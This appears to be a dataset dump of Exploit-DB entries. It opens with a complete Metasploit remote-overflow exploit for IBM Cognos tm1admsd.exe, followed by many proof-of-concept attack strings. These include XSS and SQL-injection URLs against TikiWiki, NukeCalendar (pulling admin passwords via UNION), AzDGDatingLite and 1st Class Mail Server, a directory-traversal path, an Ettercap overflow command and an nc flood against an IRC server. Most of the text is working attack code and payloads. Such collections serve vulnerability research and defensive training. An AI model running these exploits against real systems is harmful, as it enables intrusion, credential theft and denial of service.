QLWD/code_shield huggingface dataset:
标题: IBM Cognos - 'tm1admsd.exe' Remote Overflow (Metasploit) EDB-ID: 23969 CVE: 2012-0202 类型: REMOTE 平台: WINDOWS 发布日期: 2013-01-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Cognos tm1admsd.exe Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IBM Cognos Analytic Server
    Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
    dangerous copy of user controlled data to the stack, via memcpy, without validating
    the supplied length and data. The module has been tested successfully on IBM Cognos
    Express 9.5 over Windows XP SP3.
   },
   'Author'         =>
    [
     'Unknown', # Original discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-0202'],
     ['OSVDB', '80876'],
     ['BID', '52847'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
     ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'SSL' => true,
     'SSLVersion' => 'TLS1'
    },
   'Payload'        =>
    {
     'Space'    => 10359,
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     # tm1admsd.exe 9.5.10009.10070
     # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
     [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
    ],
   'DisclosureDate' => 'Apr 02 2012'))

   register_options([Opt::RPORT(5498)], self.class)
 end

 def exploit

  sploit = payload.encoded
  sploit << rand_text(target['Offset'] - sploit.length)
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
  sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
  sploit << [target.ret].pack("V") # seh
  sploit << rand_text(2000) # Trigger exception

  data = rand_text(4)
  data << "\x00\x08" # Opcode
  data << [sploit.length].pack("n") # Length
  data << sploit # Value

  length = [data.length + 2].pack("n")

  req = length
  req << data

  connect
  sock.put(req)
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/23969
标题: TikiWiki Project 1.8 - 'tiki-usermenu.php?sort_mode' SQL Injection EDB-ID: 23963 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
           
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23963
标题: TikiWiki Project 1.8 - 'tiki-list_file_gallery.php?sort_mode' SQL Injection EDB-ID: 23964 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
            
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23964
标题: TikiWiki Project 1.8 - 'tiki-list_file_gallery.php?galleryID' Cross-Site Scripting EDB-ID: 23959 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_file_gallery.php?galleryId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23959
标题: TikiWiki Project 1.8 - 'tiki-view_faq.php?faqId' Cross-Site Scripting EDB-ID: 23961 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
          
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-view_faq.php?faqId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23961
标题: TikiWiki Project 1.8 - 'tiki-upload_file.php?galleryID' Cross-Site Scripting EDB-ID: 23960 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
          
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-upload_file.php?galleryId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23960
标题: TikiWiki Project 1.8 - 'tiki-view_chart.php?chartId' Cross-Site Scripting EDB-ID: 23962 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
           
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-view_chart.php?chartId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23962
标题: TikiWiki Project 1.8 - 'tiki-read_article.php?articleId' Cross-Site Scripting EDB-ID: 23955 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
       
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-read_article.php?articleId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23955
标题: TikiWiki Project 1.8 - 'tiki-browse_categories.php?parentId' Cross-Site Scripting EDB-ID: 23956 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
        
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23956
标题: TikiWiki Project 1.8 - Add Site Multiple Options Remote Code Injections EDB-ID: 23951 CVE: 2004-1926 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
    
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

Directory > Add Site > Name
Directory > Add Site > Description
Directory > Add Site > URL
Directory > Add Site > Country URL: https://www.exploit-db.com/exploits/23951
标题: TikiWiki Project 1.8 - 'messu-mailbox.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23953 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
     
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

messu-mailbox.php?flags=&priority=&find=[XSS]
messu-mailbox.php?flags=&priority=[XSS] URL: https://www.exploit-db.com/exploits/23953
标题: TikiWiki Project 1.8 - 'tiki-print_article.php?articleId' Cross-Site Scripting EDB-ID: 23958 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-print_article.php?articleId=[VID][XSS] URL: https://www.exploit-db.com/exploits/23958
标题: TikiWiki Project 1.8 - 'messu-read.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23954 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
      
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
messu-read.php?offset=[INT]&flag=&priority=[XSS]
messu-read.php?offset=[INT]&flag=[XSS]
messu-read.php?offset=[XSS] URL: https://www.exploit-db.com/exploits/23954
标题: TikiWiki Project 1.8 - 'tiki-index.php?comments_threshold' Cross-Site Scripting EDB-ID: 23957 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS] URL: https://www.exploit-db.com/exploits/23957
标题: TikiWiki Project 1.8 - 'categorize.php' Direct Request Full Path Disclosure EDB-ID: 23952 CVE: 2004-1923 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
     
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset= URL: https://www.exploit-db.com/exploits/23952
标题: TikiWiki Project 1.8 - 'tiki-directory_ranking.php?sort_mode' SQL Injection EDB-ID: 23965 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
            
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-directory_ranking.php?sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23965
标题: TikiWiki Project 1.8 - 'img/wiki_up' Arbitrary File Upload EDB-ID: 23948 CVE: 2004-1928 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
 
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

http://www.example.com/img/wiki_up/filenamehere URL: https://www.exploit-db.com/exploits/23948
标题: TikiWiki Project 1.8 - 'tiki-map.phtml' Traversal Arbitrary File / Directory Enumeration EDB-ID: 23949 CVE: 2004-1927 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
  
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

/tiki-map.phtml?mapfile=../../../../var/ URL: https://www.exploit-db.com/exploits/23949
标题: Ettercap 0.7.5.1 - Stack Overflow EDB-ID: 23945 CVE: 2013-0722 2012-0722 类型: DOS 平台: UNIX 发布日期: 2013-01-07 漏洞利用脚本: Title: Ettercap Stack overflow (CWE-121)
References: CVE-2012-0722
Discovered by: Sajjad Pourali
Vendor: http://www.ettercap.sourceforge.net/
Vendor contact: 13-01-01 21:20 UTC (No response)
Solution: Using the patch
Patch: http://www.securation.com/files/2013/01/ec.patch

Local: Yes
Remote: No
Impact: low

Affected:
 - ettercap 0.7.5.1
 - ettercap 0.7.5
 - ettercap 0.7.4 and earlier
Not affected:
 - ettercap 0.7.4.1

---

Trace vulnerable place:

./include/ec_inet.h:27-44
enum {
   NS_IN6ADDRSZ            = 16,
   NS_INT16SZ              = 2,

   ETH_ADDR_LEN            = 6,
   TR_ADDR_LEN             = 6,
   FDDI_ADDR_LEN           = 6,
   MEDIA_ADDR_LEN          = 6,

   IP_ADDR_LEN             = 4,
   IP6_ADDR_LEN            = 16,
   MAX_IP_ADDR_LEN         = IP6_ADDR_LEN,

   ETH_ASCII_ADDR_LEN      = sizeof("ff:ff:ff:ff:ff:ff")+1,
   IP_ASCII_ADDR_LEN       = sizeof("255.255.255.255")+1,
   IP6_ASCII_ADDR_LEN      = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1,
   MAX_ASCII_ADDR_LEN      = IP6_ASCII_ADDR_LEN,
};

./include/ec_resolv.h:42
#define MAX_HOSTNAME_LEN   64

./src/ec_scan.c:610-614
char ip[MAX_ASCII_ADDR_LEN];
char mac[ETH_ASCII_ADDR_LEN];
char name[MAX_HOSTNAME_LEN];


./src/ec_scan.c:633-635
if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 ||
         *ip == '#' || *mac == '#' || *name == '#')
         continue;

---

PoC:

sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow

---

 + Sajjad Pourali
 + http://www.securation.com
 + Contact: sajjad[at]securation.com URL: https://www.exploit-db.com/exploits/23945
标题: TikiWiki Project 1.8 - User Profile Multiple Option Remote Code Injections EDB-ID: 23950 CVE: 2004-1926 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
   
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

User Profile > Theme
User Profile > Country Field
User Profile > Real Name
User Profile > Displayed time zone URL: https://www.exploit-db.com/exploits/23950
标题: 1st Class Mail Server 4.0 1 - members.tagz Cross-Site Scripting EDB-ID: 23939 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info
  
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
  
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/members.tagz?Site=www.example.com&Mailbox=[html_code] URL: https://www.exploit-db.com/exploits/23939
标题: 1st Class Mail Server 4.0 1 - Index Cross-Site Scripting EDB-ID: 23938 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info
 
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
 
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/?Site=www.example.com&Mailbox=[html_code] URL: https://www.exploit-db.com/exploits/23938
标题: TikiWiki Project 1.8 - 'tiki-switch_theme.php?theme' Cross-Site Scripting EDB-ID: 23947 CVE: 2004-1924 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info

Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-switch_theme.php?theme=[XSS] URL: https://www.exploit-db.com/exploits/23947
标题: 1st Class Mail Server 4.0 1 - general.tagz Cross-Site Scripting EDB-ID: 23940 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info
   
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
   
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/general.tagz?Site=www.example.com&Mailbox=[html_code] URL: https://www.exploit-db.com/exploits/23940
标题: Crackalaka IRC Server 1.0.8 - Remote Denial of Service EDB-ID: 23943 CVE: 2004-1919 类型: DOS 平台: LINUX 发布日期: 2004-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/10092/info

It has been reported that Crackalaka may be prone to a remote denial of service vulnerability that may allow an attacker to crash the server by sending an excessive amount of data.

Crackalaka version 1.0.8 is reported to be prone to this issue, however, other versions could be vulnerable as well. 

nc [host] 6667 < /dev/urandom URL: https://www.exploit-db.com/exploits/23943
标题: 1st Class Mail Server 4.0 1 - list.tagz Cross-Site Scripting EDB-ID: 23942 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info
     
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
     
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/list.tagz?Site=www.example.com&Mailbox=[html_code] URL: https://www.exploit-db.com/exploits/23942
标题: 1st Class Mail Server 4.0 1 - advanced.tagz Cross-Site Scripting EDB-ID: 23941 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info
    
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
    
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/advanced.tagz?Site=www.example.com&Mailbox=<[html_code]> URL: https://www.exploit-db.com/exploits/23941
标题: 1st Class Mail Server 4.0 1 - viewmail.tagz Cross-Site Scripting EDB-ID: 23937 CVE: 2004-2447 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10089/info

Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.

1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/viewmail.tagz?Site=www.example.com&Mailbox=3&MessageIndex=[html_code]> URL: https://www.exploit-db.com/exploits/23937
标题: AzDGDatingLite 2.1.1 - 'view.php?id' Cross-Site Scripting EDB-ID: 23935 CVE: 2004-1911 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10084/info
 
Multiple cross-site scripting vulnerabilities have been reported in AzDGDatingLite. These issues may be exploited by enticing a victim user to visit a malicious link that includes hostile HTML and script code.
 
Exploitation could facilitate theft of cookie-based authentication credentials or other attacks.
 
This issue was reported in AzDGDatingLite 2.1.1. It is not known if earlier versions or commercial releases which share the same code base are affected, such as AzDGDatingPlatinum or AzDGDatingGold. 

http://www.example.com/azdlite/view.php?l=&id=00001<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/23935
标题: NukeCalendar 1.1.a - 'eid' SQL Injection EDB-ID: 23933 CVE: 2004-1914 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info
   
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
   
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=-1%20UNION%20select%20null,aid,null,pwd,null,null,null,null,null,null,null,null%20%20FR
+OM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/* URL: https://www.exploit-db.com/exploits/23933
标题: NukeCalendar 1.1.a - 'eid' Cross-Site Scripting EDB-ID: 23932 CVE: 2004-1913 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info
  
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
  
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=[xss code here] URL: https://www.exploit-db.com/exploits/23932
标题: AzDGDatingLite 2.1.1 - 'index.php?language' Cross-Site Scripting EDB-ID: 23934 CVE: 2004-1911 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10084/info

Multiple cross-site scripting vulnerabilities have been reported in AzDGDatingLite. These issues may be exploited by enticing a victim user to visit a malicious link that includes hostile HTML and script code.

Exploitation could facilitate theft of cookie-based authentication credentials or other attacks.

This issue was reported in AzDGDatingLite 2.1.1. It is not known if earlier versions or commercial releases which share the same code base are affected, such as AzDGDatingPlatinum or AzDGDatingGold. 

http://www.example.com/azdlite/index.php?l=en"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/23934